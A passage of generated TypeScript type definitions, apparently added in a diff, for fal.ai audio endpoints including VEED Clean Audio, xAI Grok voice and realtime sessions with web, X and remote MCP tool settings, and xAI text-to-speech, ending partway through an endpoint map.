*/ + index: number + /** + * @description End in seconds on the source video timeline. + * @type number + */ + end: number + meta: SfxSegmentMeta + /** + * @description Start in seconds on the source video timeline. + * @type number + */ + start: number +} + +export type OutputSoniloV11VideoToSoundEffects = { + /** + * @description All generated sounds, one per sample. + * @type array + */ + audios: Audio788E145B[] + /** + * @description The segments the audio was generated in, in source video order. + * @type array + */ + segments: SfxOutputSegment[] + /** + * @description The generated sound, in your chosen audio format. + * @type object + */ + audio: Audio788E145B +} + +export const inputVeedCleanAudioOutputFormatEnum = { + flac: 'flac', + wav: 'wav', +} as const + +export type InputVeedCleanAudioOutputFormatEnumKey = + (typeof inputVeedCleanAudioOutputFormatEnum)[keyof typeof inputVeedCleanAudioOutputFormatEnum] + +export type InputVeedCleanAudio = { + /** + * @description Container for the 48 kHz mono 16-bit output. FLAC is lossless at about half the size of WAV. + * @default 'flac' + * @type string | undefined + */ + output_format?: InputVeedCleanAudioOutputFormatEnumKey + /** + * @description Integrated loudness of the output (ITU-R BS.1770). The default -19 LUFS is the level the VEED editor delivers; true peak is capped at -1.1 dBTP. Pass null through the API to skip loudness normalization and keep the input level. + * @default -19 + */ + target_lufs?: number | null + /** + * @description The recording to clean. Any audio or video ffmpeg can decode (wav, mp3, m4a, aac, ogg, mp4, mov, webm, ...); a video's audio track is used (call /video to get the video back with the cleaned track) and multi-channel input is mixed down to mono. Up to 30 minutes and 512 MB. A public URL or a data URI. + * @example https://v3b.fal.media/files/b/0aaaa91c/5KspxZ3psz3KmDvSeYVk__noisy_example.m4a + * @type string + */ + audio_url: string + /** + * @description How much of the original is allowed to remain under speech: the suppression floor is 1 - strength (the default 0.874 is the validated -18 dB). Lower keeps more room tone behind the voice; silence between words is always fully cleaned. + * @minimum 0 + * @maximum 1 + * @default 0.874 + * @type number | undefined + */ + strength?: number +} + +export type Audio044Fb3E2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputVeedCleanAudio = { + /** + * @description Input duration in seconds. Billing: whole seconds rounded up to full minutes, minimum 1 unit. + * @type number + */ + audio_duration: number + /** + * @description The denoised recording: 48 kHz mono 16-bit, same duration as the input, loudness-normalized. + * @example {"file_name":"denoised.flac","url":"https://v3b.fal.media/files/b/0aaaa933/tYOEy9H8r67qdQEC33yMe_denoised.flac","content_type":"audio/flac"} + * @type object + */ + audio: Audio044Fb3E2 +} + +export type GrokSearchLocation = { + /** + * @description IANA timezone name, for example America/New_York. + * @default null + */ + timezone?: string | null + /** + * @description City used to localize web-search results. + * @default null + */ + city?: string | null + /** + * @description Country used to localize web-search results. + * @default null + */ + country?: string | null + /** + * @description Region used to localize web-search results. + * @default null + */ + region?: string | null +} + +/** + * @description Configuration for one xAI web_search tool declaration. + * @type object + */ +export type GrokWebSearchTool = { + /** + * @description Restrict results to at most five domains, without protocol or path. + * @default null + */ + allowed_domains?: string[] | null + /** + * @description Exclude results from at most five domains, without protocol or path. + * @default null + */ + excluded_domains?: string[] | null + /** + * @description Whether to include web_search in session.tools. Disabled by default; set true to let the agent search the web. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Optional location used to localize search results. + * @default null + */ + location?: GrokSearchLocation | null + /** + * @description Allow the agent to inspect images found during web search. + * @default null + */ + enable_image_understanding?: boolean | null +} + +/** + * @description Configuration for one xAI x_search tool declaration. + * @type object + */ +export type GrokXSearchTool = { + /** + * @description Earliest post date, as ISO YYYY-MM-DD. + * @default null + */ + from_date?: string | null + /** + * @description Restrict results to posts from at most 20 X handles. + * @default null + */ + allowed_x_handles?: string[] | null + /** + * @description Exclude posts from at most 20 X handles. + * @default null + */ + excluded_x_handles?: string[] | null + /** + * @description Whether to include x_search in session.tools. Disabled by default; set true to let the agent search X posts. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Allow the agent to inspect videos found on X. + * @default null + */ + enable_video_understanding?: boolean | null + /** + * @description Latest post date, as ISO YYYY-MM-DD. + * @default null + */ + to_date?: string | null + /** + * @description Allow the agent to inspect images found on X. + * @default null + */ + enable_image_understanding?: boolean | null +} + +/** + * @description A caller-selected remote MCP server that xAI will connect to. + * + * Use at your own risk. The connection is made by xAI's infrastructure, + * not by fal; choosing this tool explicitly accepts that trust boundary. + * Authentication and headers are masked in fal error metadata and logs. + * @type object + */ +export type GrokRemoteMCPTool = { + /** + * @description Description of the capabilities exposed by this server. + * @default null + */ + server_description?: string | null + /** + * @description Optional allow-list of tool names exposed from this server. + * @default null + */ + allowed_tools?: string[] | null + /** + * @description Sensitive authorization value forwarded only to xAI. + * @default null + */ + authorization?: string | null + /** + * @description False omits this server. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Label xAI uses to identify and prefix this server's tools. + * @minLength 1 + * @maxLength 128 + * @type string + */ + server_label: string + /** + * @description Caller-selected HTTP(S) MCP endpoint. xAI makes the remote connection and supports Streaming HTTP/SSE transports. Use at your own risk; fal does not connect to or SSRF-fetch this URL. + * + * Format: `uri` + * @minLength 1 + * @type string + */ + server_url: string + /** + * @description Sensitive MCP request headers forwarded only to xAI. + * @default null + */ + headers?: { + [key: string]: string + } | null +} + +/** + * @description Typed xAI tools supported by this app's convenience configuration. + * + * Every tool is disabled in the default configuration: the searches must + * be switched on via their ``enabled`` flags and ``mcp_servers`` starts + * empty. ``file_search`` / collections are intentionally absent and + * unsupported due to Zero Data Retention (ZDR) requirements. Caller-side + * function tools are likewise absent from the typed configuration — they + * require a client that answers callback events over /realtime, so they + * remain available only to raw ``session.update`` passthrough clients. + * Raw realtime passthrough stays generic except that ZDR-incompatible + * tool declarations are rejected in-band. + * @type object + */ +export type GrokToolsConfiguration = { + /** + * @description xAI-managed web search; off unless enabled is set true. + * @default {"allowed_domains":null,"excluded_domains":null,"enabled":false,"location":null,"enable_image_understanding":null} + * @type object | undefined + */ + web_search?: GrokWebSearchTool + /** + * @description xAI-managed X search; off unless enabled is set true. + * @default {"from_date":null,"allowed_x_handles":null,"excluded_x_handles":null,"enabled":false,"enable_video_understanding":null,"to_date":null,"enable_image_understanding":null} + * @type object | undefined + */ + x_search?: GrokXSearchTool + /** + * @description Remote MCP servers that xAI connects to and executes. + * @type array | undefined + */ + mcp_servers?: GrokRemoteMCPTool[] +} + +export const inputXaiGrokVoiceVoice = { + carina: 'carina', + zagan: 'zagan', + helix: 'helix', + orion: 'orion', + luna: 'luna', + iris: 'iris', + altair: 'altair', + zenith: 'zenith', + perseus: 'perseus', + helios: 'helios', + lux: 'lux', + kepler: 'kepler', + rigel: 'rigel', + cosmo: 'cosmo', + celeste: 'celeste', + ursa: 'ursa', + sirius: 'sirius', + lumen: 'lumen', + castor: 'castor', + naksh: 'naksh', + atlas: 'atlas', + aurora: 'aurora', + liora: 'liora', + ara: 'ara', + eve: 'eve', + leo: 'leo', + rex: 'rex', + sal: 'sal', +} as const + +export type InputXaiGrokVoiceVoiceKey = + (typeof inputXaiGrokVoiceVoice)[keyof typeof inputXaiGrokVoiceVoice] + +export type InputXaiGrokVoice = { + /** + * @description Built-in xAI voice for the agent's reply. Uses Grok's default voice when omitted. + */ + voice?: InputXaiGrokVoiceVoiceKey | null + /** + * @description Server-side tools available to the agent. Web, X, and remote MCP tools are supported; every tool is disabled by default. file_search/collections are unsupported by the typed configuration due to ZDR. + * @default {"web_search":{"enabled":false},"x_search":{"enabled":false},"mcp_servers":[]} + * @type object | undefined + */ + tools?: GrokToolsConfiguration + /** + * @description Optional system instructions describing the agent's persona and conversation context. Uses Grok's default persona when omitted. + * @example You are a friendly assistant. Answer briefly and concretely. + */ + prompt?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the audio containing the user's speech. The Grok agent listens to it and replies with speech. Most common audio formats are supported; the audio is converted to 16-bit 24 kHz mono PCM before being sent to Grok. Maximum duration 10 minutes, maximum file size 50 MB. + * @example https://v3b.fal.media/files/b/0a8dd5a2/hS140ygvRuxn-eY_qPhlv_assets_test_input_service.wav + * @type string + */ + audio_url: string +} + +export type File6C8Fd162 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputXaiGrokVoice = { + /** + * @description Transcript of the agent's spoken response, when Grok provides one (empty string otherwise). + * @default '' + * @type string | undefined + */ + text?: string + /** + * @description The Grok agent's spoken response (WAV, 24 kHz mono). + * @type object + */ + audio: File6C8Fd162 + /** + * @description Duration of the generated audio in seconds. + * @example 7.4 + * @type number + */ + duration: number +} + +/** + * @description xAI server-side voice activity detection (server_vad) tuning. + * + * xAI's realtime API supports exactly one detector type, ``server_vad``, + * so the typed configuration carries only the tuning knobs and the proxy + * injects the type on the wire. + * @type object + */ +export type GrokTurnDetectionConfiguration = { + /** + * @description VAD activation threshold; higher values require louder audio. + * @default null + */ + threshold?: number | null + /** + * @description Audio retained before detected speech, in milliseconds. + * @default null + */ + prefix_padding_ms?: number | null + /** + * @description Idle time after an assistant response before xAI starts a proactive turn, in milliseconds. + * @default null + */ + idle_timeout_ms?: number | null + /** + * @description Silence duration that ends a detected turn, in milliseconds. + * @default null + */ + silence_duration_ms?: number | null +} + +/** + * @description Configuration for one xAI x_search tool declaration. + * @type object + */ +export type GrokXSearchToolEe4D3818 = { + /** + * @description Earliest post date, as ISO YYYY-MM-DD. + * @default null + */ + from_date?: string | null + /** + * @description Whether to include x_search in session.tools. Disabled by default; set true to let the agent search X posts. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Allow the agent to inspect videos found on X. + * @default null + */ + enable_video_understanding?: boolean | null + /** + * @description Allow the agent to inspect images found on X. + * @default null + */ + enable_image_understanding?: boolean | null + /** + * @description Exclude posts from at most 20 X handles. + * @default null + */ + excluded_x_handles?: string[] | null + /** + * @description Restrict results to posts from at most 20 X handles. + * @default null + */ + allowed_x_handles?: string[] | null + /** + * @description Latest post date, as ISO YYYY-MM-DD. + * @default null + */ + to_date?: string | null +} + +export type GrokSearchLocation629A2A5D = { + /** + * @description Country used to localize web-search results. + * @default null + */ + country?: string | null + /** + * @description City used to localize web-search results. + * @default null + */ + city?: string | null + /** + * @description IANA timezone name, for example America/New_York. + * @default null + */ + timezone?: string | null + /** + * @description Region used to localize web-search results. + * @default null + */ + region?: string | null +} + +/** + * @description Configuration for one xAI web_search tool declaration. + * @type object + */ +export type GrokWebSearchToolCd24879E = { + /** + * @description Whether to include web_search in session.tools. Disabled by default; set true to let the agent search the web. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Allow the agent to inspect images found during web search. + * @default null + */ + enable_image_understanding?: boolean | null + /** + * @description Optional location used to localize search results. + * @default null + */ + location?: GrokSearchLocation629A2A5D | null + /** + * @description Exclude results from at most five domains, without protocol or path. + * @default null + */ + excluded_domains?: string[] | null + /** + * @description Restrict results to at most five domains, without protocol or path. + * @default null + */ + allowed_domains?: string[] | null +} + +/** + * @description A caller-selected remote MCP server that xAI will connect to. + * + * Use at your own risk. The connection is made by xAI's infrastructure, + * not by fal; choosing this tool explicitly accepts that trust boundary. + * Authentication and headers are masked in fal error metadata and logs. + * @type object + */ +export type GrokRemoteMCPTool2F715B72 = { + /** + * @description Description of the capabilities exposed by this server. + * @default null + */ + server_description?: string | null + /** + * @description False omits this server. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Sensitive authorization value forwarded only to xAI. + * @default null + */ + authorization?: string | null + /** + * @description Sensitive MCP request headers forwarded only to xAI. + * @default null + */ + headers?: { + [key: string]: string + } | null + /** + * @description Optional allow-list of tool names exposed from this server. + * @default null + */ + allowed_tools?: string[] | null + /** + * @description Caller-selected HTTP(S) MCP endpoint. xAI makes the remote connection and supports Streaming HTTP/SSE transports. Use at your own risk; fal does not connect to or SSRF-fetch this URL. + * + * Format: `uri` + * @minLength 1 + * @type string + */ + server_url: string + /** + * @description Label xAI uses to identify and prefix this server's tools. + * @minLength 1 + * @maxLength 128 + * @type string + */ + server_label: string +} + +/** + * @description Typed xAI tools supported by this app's convenience configuration. + * + * Every tool is disabled in the default configuration: the searches must + * be switched on via their ``enabled`` flags and ``mcp_servers`` starts + * empty. ``file_search`` / collections are intentionally absent and + * unsupported due to Zero Data Retention (ZDR) requirements. Caller-side + * function tools are likewise absent from the typed configuration — they + * require a client that answers callback events over /realtime, so they + * remain available only to raw ``session.update`` passthrough clients. + * Raw realtime passthrough stays generic except that ZDR-incompatible + * tool declarations are rejected in-band. + * @type object + */ +export type GrokToolsConfigurationF769Fce5 = { + /** + * @description xAI-managed X search; off unless enabled is set true. + * @default {"from_date":null,"enabled":false,"enable_video_understanding":null,"enable_image_understanding":null,"excluded_x_handles":null,"allowed_x_handles":null,"to_date":null} + * @type object | undefined + */ + x_search?: GrokXSearchToolEe4D3818 + /** + * @description xAI-managed web search; off unless enabled is set true. + * @default {"enabled":false,"enable_image_understanding":null,"location":null,"excluded_domains":null,"allowed_domains":null} + * @type object | undefined + */ + web_search?: GrokWebSearchToolCd24879E + /** + * @description Remote MCP servers that xAI connects to and executes. + * @type array | undefined + */ + mcp_servers?: GrokRemoteMCPTool2F715B72[] +} + +export const inputXaiGrokVoiceRealtimeVoice = { + carina: 'carina', + zagan: 'zagan', + helix: 'helix', + orion: 'orion', + luna: 'luna', + iris: 'iris', + altair: 'altair', + zenith: 'zenith', + perseus: 'perseus', + helios: 'helios', + lux: 'lux', + kepler: 'kepler', + rigel: 'rigel', + cosmo: 'cosmo', + celeste: 'celeste', + ursa: 'ursa', + sirius: 'sirius', + lumen: 'lumen', + castor: 'castor', + naksh: 'naksh', + atlas: 'atlas', + aurora: 'aurora', + liora: 'liora', + ara: 'ara', + eve: 'eve', + leo: 'leo', + rex: 'rex', + sal: 'sal', +} as const + +export type InputXaiGrokVoiceRealtimeVoiceKey = + (typeof inputXaiGrokVoiceRealtimeVoice)[keyof typeof inputXaiGrokVoiceRealtimeVoice] + +/** + * @description A single Grok realtime WebSocket event, used for both directions. + * + * The envelope is a generic passthrough — a top-level ``type`` plus + * whatever other fields the event carries — so the event shape + * matches xAI's protocol exactly, including unknown or future fields. + * (The wire framing is fal's standard realtime transport; see the + * module docstring.) + * Raw xAI events are forwarded unchanged, except that ``file_search`` + * declarations are rejected for ZDR. The one explicit fal-side convenience + * event, ``x-fal-session.configure``, carries the typed top-level session + * fields (``prompt`` / ``voice`` / ``turn_detection`` / ``tools``), is + * translated to an xAI ``session.update``, and is never itself forwarded + * upstream. Those field names are fal-reserved on client events: raw + * passthrough events carrying non-null values are rejected in-band, while + * explicit nulls emitted by generated clients are ignored. + * + * Client-sent events (proxy → xAI) include ``session.update``, + * ``input_audio_buffer.append`` (base64 audio in ``audio``), + * ``input_audio_buffer.commit`` / ``.clear``, + * ``conversation.item.create`` / ``.delete``, ``response.create``, + * and ``response.cancel``. + * + * Server-sent events (xAI → proxy) include ``session.created`` / + * ``session.updated``, ``conversation.item.added``, + * ``input_audio_buffer.speech_started`` / ``.speech_stopped`` / + * ``.committed`` / ``.cleared``, ``response.created``, + * ``response.output_audio.delta`` (base64 audio in ``delta``), + * ``response.done``, and ``error``. + * @type object + */ +export type InputXaiGrokVoiceRealtime = { + /** + * @description System instructions describing the agent's persona and conversation context. Uses Grok's default persona when omitted. + * @default null + */ + prompt?: string | null + /** + * @description Automatic turn detection: any configured object (even empty) lets the agent detect when you stop speaking and reply on its own. Set null for manual turns; omit to keep the session default. + * @default null + */ + turn_detection?: GrokTurnDetectionConfiguration | null + /** + * @description Server-side tools available to the agent. Web, X, and remote MCP tools are supported; every tool is disabled by default. An explicitly supplied object always reaches the session, so previously enabled tools can be cleared. + * @default null + */ + tools?: GrokToolsConfigurationF769Fce5 | null + /** + * @description xAI realtime event type (e.g. 'session.update', 'input_audio_buffer.append', 'response.create', 'response.output_audio.delta'). Events are relayed verbatim in both directions. + * @example session.update + * @example input_audio_buffer.append + * @example response.create + * @type string + */ + type: string + /** + * @description Built-in xAI voice for the agent's speech. Uses Grok's default voice when omitted. + * @default null + */ + voice?: InputXaiGrokVoiceRealtimeVoiceKey | null + [key: string]: unknown +} + +/** + * @description Configuration for one xAI x_search tool declaration. + * @type object + */ +export type GrokXSearchToolE65C845B = { + /** + * @description Earliest post date, as ISO YYYY-MM-DD. + * @default null + */ + from_date?: string | null + /** + * @description Whether to include x_search in session.tools. Disabled by default; set true to let the agent search X posts. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Allow the agent to inspect videos found on X. + * @default null + */ + enable_video_understanding?: boolean | null + /** + * @description Allow the agent to inspect images found on X. + * @default null + */ + enable_image_understanding?: boolean | null + /** + * @description Exclude posts from at most 20 X handles. + * @default null + */ + excluded_x_handles?: string[] | null + /** + * @description Restrict results to posts from at most 20 X handles. + * @default null + */ + allowed_x_handles?: string[] | null + /** + * @description Latest post date, as ISO YYYY-MM-DD. + * @default null + */ + to_date?: string | null +} + +export type GrokSearchLocation6862E298 = { + /** + * @description Country used to localize web-search results. + * @default null + */ + country?: string | null + /** + * @description City used to localize web-search results. + * @default null + */ + city?: string | null + /** + * @description IANA timezone name, for example America/New_York. + * @default null + */ + timezone?: string | null + /** + * @description Region used to localize web-search results. + * @default null + */ + region?: string | null +} + +/** + * @description Configuration for one xAI web_search tool declaration. + * @type object + */ +export type GrokWebSearchTool727C2035 = { + /** + * @description Whether to include web_search in session.tools. Disabled by default; set true to let the agent search the web. + * @default false + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Allow the agent to inspect images found during web search. + * @default null + */ + enable_image_understanding?: boolean | null + /** + * @description Optional location used to localize search results. + * @default null + */ + location?: GrokSearchLocation6862E298 | null + /** + * @description Exclude results from at most five domains, without protocol or path. + * @default null + */ + excluded_domains?: string[] | null + /** + * @description Restrict results to at most five domains, without protocol or path. + * @default null + */ + allowed_domains?: string[] | null +} + +/** + * @description A caller-selected remote MCP server that xAI will connect to. + * + * Use at your own risk. The connection is made by xAI's infrastructure, + * not by fal; choosing this tool explicitly accepts that trust boundary. + * Authentication and headers are masked in fal error metadata and logs. + * @type object + */ +export type GrokRemoteMCPToolD4F94De1 = { + /** + * @description Description of the capabilities exposed by this server. + * @default null + */ + server_description?: string | null + /** + * @description False omits this server. + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Sensitive authorization value forwarded only to xAI. + * @default null + */ + authorization?: string | null + /** + * @description Sensitive MCP request headers forwarded only to xAI. + * @default null + */ + headers?: { + [key: string]: string + } | null + /** + * @description Optional allow-list of tool names exposed from this server. + * @default null + */ + allowed_tools?: string[] | null + /** + * @description Caller-selected HTTP(S) MCP endpoint. xAI makes the remote connection and supports Streaming HTTP/SSE transports. Use at your own risk; fal does not connect to or SSRF-fetch this URL. + * + * Format: `uri` + * @minLength 1 + * @type string + */ + server_url: string + /** + * @description Label xAI uses to identify and prefix this server's tools. + * @minLength 1 + * @maxLength 128 + * @type string + */ + server_label: string +} + +/** + * @description Typed xAI tools supported by this app's convenience configuration. + * + * Every tool is disabled in the default configuration: the searches must + * be switched on via their ``enabled`` flags and ``mcp_servers`` starts + * empty. ``file_search`` / collections are intentionally absent and + * unsupported due to Zero Data Retention (ZDR) requirements. Caller-side + * function tools are likewise absent from the typed configuration — they + * require a client that answers callback events over /realtime, so they + * remain available only to raw ``session.update`` passthrough clients. + * Raw realtime passthrough stays generic except that ZDR-incompatible + * tool declarations are rejected in-band. + * @type object + */ +export type GrokToolsConfiguration8C5E1A60 = { + /** + * @description xAI-managed X search; off unless enabled is set true. + * @default {"from_date":null,"enabled":false,"enable_video_understanding":null,"enable_image_understanding":null,"excluded_x_handles":null,"allowed_x_handles":null,"to_date":null} + * @type object | undefined + */ + x_search?: GrokXSearchToolE65C845B + /** + * @description xAI-managed web search; off unless enabled is set true. + * @default {"enabled":false,"enable_image_understanding":null,"location":null,"excluded_domains":null,"allowed_domains":null} + * @type object | undefined + */ + web_search?: GrokWebSearchTool727C2035 + /** + * @description Remote MCP servers that xAI connects to and executes. + * @type array | undefined + */ + mcp_servers?: GrokRemoteMCPToolD4F94De1[] +} + +export const outputXaiGrokVoiceRealtimeVoice = { + carina: 'carina', + zagan: 'zagan', + helix: 'helix', + orion: 'orion', + luna: 'luna', + iris: 'iris', + altair: 'altair', + zenith: 'zenith', + perseus: 'perseus', + helios: 'helios', + lux: 'lux', + kepler: 'kepler', + rigel: 'rigel', + cosmo: 'cosmo', + celeste: 'celeste', + ursa: 'ursa', + sirius: 'sirius', + lumen: 'lumen', + castor: 'castor', + naksh: 'naksh', + atlas: 'atlas', + aurora: 'aurora', + liora: 'liora', + ara: 'ara', + eve: 'eve', + leo: 'leo', + rex: 'rex', + sal: 'sal', +} as const + +export type OutputXaiGrokVoiceRealtimeVoiceKey = + (typeof outputXaiGrokVoiceRealtimeVoice)[keyof typeof outputXaiGrokVoiceRealtimeVoice] + +/** + * @description A single Grok realtime WebSocket event, used for both directions. + * + * The envelope is a generic passthrough — a top-level ``type`` plus + * whatever other fields the event carries — so the event shape + * matches xAI's protocol exactly, including unknown or future fields. + * (The wire framing is fal's standard realtime transport; see the + * module docstring.) + * Raw xAI events are forwarded unchanged, except that ``file_search`` + * declarations are rejected for ZDR. The one explicit fal-side convenience + * event, ``x-fal-session.configure``, carries the typed top-level session + * fields (``prompt`` / ``voice`` / ``turn_detection`` / ``tools``), is + * translated to an xAI ``session.update``, and is never itself forwarded + * upstream. Those field names are fal-reserved on client events: raw + * passthrough events carrying non-null values are rejected in-band, while + * explicit nulls emitted by generated clients are ignored. + * + * Client-sent events (proxy → xAI) include ``session.update``, + * ``input_audio_buffer.append`` (base64 audio in ``audio``), + * ``input_audio_buffer.commit`` / ``.clear``, + * ``conversation.item.create`` / ``.delete``, ``response.create``, + * and ``response.cancel``. + * + * Server-sent events (xAI → proxy) include ``session.created`` / + * ``session.updated``, ``conversation.item.added``, + * ``input_audio_buffer.speech_started`` / ``.speech_stopped`` / + * ``.committed`` / ``.cleared``, ``response.created``, + * ``response.output_audio.delta`` (base64 audio in ``delta``), + * ``response.done``, and ``error``. + * @type object + */ +export type OutputXaiGrokVoiceRealtime = { + /** + * @description System instructions describing the agent's persona and conversation context. Uses Grok's default persona when omitted. + * @default null + */ + prompt?: string | null + /** + * @description Automatic turn detection: any configured object (even empty) lets the agent detect when you stop speaking and reply on its own. Set null for manual turns; omit to keep the session default. + * @default null + */ + turn_detection?: GrokTurnDetectionConfiguration | null + /** + * @description Server-side tools available to the agent. Web, X, and remote MCP tools are supported; every tool is disabled by default. An explicitly supplied object always reaches the session, so previously enabled tools can be cleared. + * @default null + */ + tools?: GrokToolsConfiguration8C5E1A60 | null + /** + * @description xAI realtime event type (e.g. 'session.update', 'input_audio_buffer.append', 'response.create', 'response.output_audio.delta'). Events are relayed verbatim in both directions. + * @example session.update + * @example input_audio_buffer.append + * @example response.create + * @type string + */ + type: string + /** + * @description Built-in xAI voice for the agent's speech. Uses Grok's default voice when omitted. + * @default null + */ + voice?: OutputXaiGrokVoiceRealtimeVoiceKey | null + [key: string]: unknown +} + +export const outputFormat7B6B5CbaSampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '44100': 44100, + '48000': 48000, +} as const + +export type OutputFormat7B6B5CbaSampleRateEnumKey = + (typeof outputFormat7B6B5CbaSampleRateEnum)[keyof typeof outputFormat7B6B5CbaSampleRateEnum] + +export const outputFormat7B6B5CbaBitRate = { + '32000': 32000, + '64000': 64000, + '96000': 96000, + '128000': 128000, + '192000': 192000, +} as const + +export type OutputFormat7B6B5CbaBitRateKey = + (typeof outputFormat7B6B5CbaBitRate)[keyof typeof outputFormat7B6B5CbaBitRate] + +export const outputFormat7B6B5CbaCodecEnum = { + mp3: 'mp3', + wav: 'wav', + pcm: 'pcm', + mulaw: 'mulaw', + alaw: 'alaw', +} as const + +export type OutputFormat7B6B5CbaCodecEnumKey = + (typeof outputFormat7B6B5CbaCodecEnum)[keyof typeof outputFormat7B6B5CbaCodecEnum] + +/** + * @description Output format configuration for the TTS API. + * @type object + */ +export type OutputFormat7B6B5Cba = { + /** + * @description Sample rate in Hz. + * @default 24000 + * @type number | undefined + */ + sample_rate?: OutputFormat7B6B5CbaSampleRateEnumKey + /** + * @description Bit rate in bps. Only applicable for MP3 codec. Defaults to 128000 for MP3. + */ + bit_rate?: OutputFormat7B6B5CbaBitRateKey | null + /** + * @description Audio codec. Supported: mp3, wav, pcm, mulaw, alaw. + * @default 'mp3' + * @type string | undefined + */ + codec?: OutputFormat7B6B5CbaCodecEnumKey +} + +export const inputXaiTtsV1LanguageEnum = { + auto: 'auto', + en: 'en', + 'ar-EG': 'ar-EG', + 'ar-SA': 'ar-SA', + 'ar-AE': 'ar-AE', + bn: 'bn', + zh: 'zh', + fr: 'fr', + de: 'de', + hi: 'hi', + id: 'id', + it: 'it', + ja: 'ja', + ko: 'ko', + 'pt-BR': 'pt-BR', + 'pt-PT': 'pt-PT', + ru: 'ru', + 'es-MX': 'es-MX', + 'es-ES': 'es-ES', + tr: 'tr', + vi: 'vi', +} as const + +export type InputXaiTtsV1LanguageEnumKey = + (typeof inputXaiTtsV1LanguageEnum)[keyof typeof inputXaiTtsV1LanguageEnum] + +export const inputXaiTtsV1VoiceEnum = { + carina: 'carina', + zagan: 'zagan', + helix: 'helix', + orion: 'orion', + luna: 'luna', + iris: 'iris', + altair: 'altair', + zenith: 'zenith', + perseus: 'perseus', + helios: 'helios', + lux: 'lux', + kepler: 'kepler', + rigel: 'rigel', + cosmo: 'cosmo', + celeste: 'celeste', + ursa: 'ursa', + sirius: 'sirius', + lumen: 'lumen', + castor: 'castor', + naksh: 'naksh', + atlas: 'atlas', + aurora: 'aurora', + liora: 'liora', + ara: 'ara', + eve: 'eve', + leo: 'leo', + rex: 'rex', + sal: 'sal', +} as const + +export type InputXaiTtsV1VoiceEnumKey = + (typeof inputXaiTtsV1VoiceEnum)[keyof typeof inputXaiTtsV1VoiceEnum] + +/** + * @description Input for xAI text-to-speech generation. + * @type object + */ +export type InputXaiTtsV1 = { + /** + * @description Output format configuration. Defaults to MP3 at 24 kHz / 128 kbps. + * @type object | undefined + */ + output_format?: OutputFormat7B6B5Cba + /** + * @description BCP-47 language code or 'auto' for automatic detection. Supported: en, zh, fr, de, hi, id, it, ja, ko, pt-BR, pt-PT, ru, es-MX, es-ES, tr, vi, bn, ar-EG, ar-SA, ar-AE. + * @default 'auto' + * @type string | undefined + */ + language?: InputXaiTtsV1LanguageEnumKey + /** + * @description Built-in xAI voice to use for synthesis. + * @default 'eve' + * @type string | undefined + */ + voice?: InputXaiTtsV1VoiceEnumKey + /** + * @description The text to convert to speech. Maximum 15,000 characters. Supports speech tags for expressive delivery: inline tags like [laugh], [pause], [sigh] and wrapping tags like text, text. + * @minLength 1 + * @maxLength 15000 + * @example Hello! This is xAI text to speech, brought to you by Fal AI. + * @type string + */ + text: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File447538D1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for xAI text-to-speech generation. + * @type object + */ +export type OutputXaiTtsV1 = { + /** + * @description The generated audio file. + * @example {"url":"https://v3b.fal.media/files/b/0a92750b/exZJCm6TDejS5xIulJs2r_xai_tts_output.mp3"} + * @type object + */ + audio: File447538D1 +} + +export type FalAudioEndpoints = { + 'alibaba/qwen-audio-3-tts': { + input: InputAlibabaQwenAudio3Tts + output: OutputAlibabaQwenAudio3Tts + } + 'async/tts-pro/v1.0': { + input: InputAsyncTtsProV10 + output: OutputAsyncTtsProV10 + } + 'bytedance/seed-audio-1.0': { + input: InputBytedanceSeedAudio10 + output: OutputBytedanceSeedAudio10 + } + 'cassetteai/music-generator': { + input: InputCassetteaiMusicGenerator + /** + * @description Example Pydantic model showing how to include a File in the output. + * @type object + */ + output: OutputCassetteaiMusicGenerator + } + 'cassetteai/sound-effects-generator': { + input: InputCassetteaiSoundEffectsGenerator + /** + * @description Example Pydantic model showing how to include a File in the output. + * @type object + */ + output: OutputCassetteaiSoundEffectsGenerator + } + 'elevenlabs/music/v2': { + /** + * @description Request format for the ElevenLabs Music v2 / v2.5 API. + * @type object + */ + input: InputElevenlabsMusicV2 + output: OutputElevenlabsMusicV2 + } + 'elevenlabs/music/v2.5': { + /** + * @description Request format for the ElevenLabs Music v2 / v2.5 API. + * @type object + */ + input: InputElevenlabsMusicV25 + output: OutputElevenlabsMusicV25 + } + 'elevenlabs/sound-effects/v3': { + input: InputElevenlabsSoundEffectsV3 + /** + * @description Output format for generated sound effects + * @type object + */ + output: OutputElevenlabsSoundEffectsV3 + } + 'elevenlabs/tts/eleven-v4': { + input: InputElevenlabsTtsElevenV4 + output: OutputElevenlabsTtsElevenV4 + } + 'elevenlabs/tts/eleven-v4-turbo': { + input: InputElevenlabsTtsElevenV4Turbo + output: OutputElevenlabsTtsElevenV4Turbo + } + 'fal-ai/ace-step': { + input: 